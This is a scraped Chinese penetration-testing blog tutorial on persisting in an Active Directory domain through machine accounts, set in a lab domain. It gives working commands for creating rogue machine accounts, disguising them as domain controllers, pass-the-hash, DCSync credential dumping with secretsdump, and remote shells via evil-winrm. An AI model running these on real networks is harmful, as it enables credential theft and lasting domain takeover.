9

利用机器账户进行域维权

 2 years ago
source link: https://antipassion.github.io/2022/02/15/%E5%88%A9%E7%94%A8%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%E8%BF%9B%E8%A1%8C%E5%9F%9F%E7%BB%B4%E6%9D%83/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

利用机器账户进行域维权

发表于

2022-02-15 更新于 2022-02-19 分类于 域渗透

机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsyn了上述作用,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

userAccountControl说明

默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS-MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将userAccountControl属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换算为十进制数字为8192.修改此属性需要域管理员级别的权限。下面我们从ADSI编辑器中进行修改,改为8192

image-20220217123153176

PowerMad+Active Directory组合:

添加机器账户

我们在进行维权时,可以从利用工具从命令行创建机器账户。例如Standln、SharpMad以及PowerMad等工具;下面展示如何利用PowerMad在域内添加一个机器账户。

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local

image-20220217123705198

此时我们便添加机器账户成功了,利用如下命令查看:

net group "domain computers" /domain

image-20220217124450971

修改机器账户userAccountControl属性值

我们所创建的这台机器账户primarygroupid经过查询可知是515,他是域组的RID,表示这是一台域计算机,利用Active-Module模块,使用域管权限账户为计算机账户Nayon修改userAccountControl值为8192,则primarygroupid将更改为属于域控制器(可写)的 516。

Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }

image-20220217125926482

[^此处若发现域主机内不存在Active Directory模块,可在本地上传Microsoft.ActiveDirectory.Management .dll在Powershell利用import-module 进行安装使用]:

此处为执行效果。

获得机器账户hash

由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。

利用Rubes将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。

Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local

image-20220217182940119

如图所示,成功拿到了机器账户的hash。

利用方式:

PTH传递获得权限

在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。

sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D

image-20220217183728074

注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。

利用PTT获得权限

由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。

注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。

利用利用Rubes申请拿到机器账户的hash

Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local

使用keke申请tgt票据,用于下一步的ptt攻击

tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4

image-20220219181751543

image-20220219181849365

此时成功拿到域内hash

利用impacket套件执行dcsync

使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash

python3 secretsdump.py attack.local/Nayon\$:'Password@1!'@10.10.10.165 -just-dc

image-20220217224346573

利用其中的域管NTLM hash与域控机进行通信

Evil-WinRM通过WinRM远程链接

前提是域管开启WinRM服务,默认端口5985

指定域管用户以及域管用户的NTLM hash 远程链接

evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa

image-20220217233828242

Impacket套件wmiexec.py远程链接

python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa [email protected]

image-20220217234439955

加入高权限用户组用以维权

除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。

Get-ADGroupMember "administrators"

image-20220218223834377

使用域管权限的会话添加机器账户Nayon$到高权限用户组内。

可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。

net group "Enterprise admins" Nayon$ /add /domain

利用net group查看是否被添加成功

net group "Enterprise admins" /domain

image-20220219174954928

此时我们便可以使用Impacket中的secretsdump项目获得域内hash

python3 secretsdump.py attack.local/Nayon\$:'123456'@10.10.10.165 -just-dc-user krbtgt

image-20220219182324269

其余利用方式大同小异,在这里我便不再过多赘述了……


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK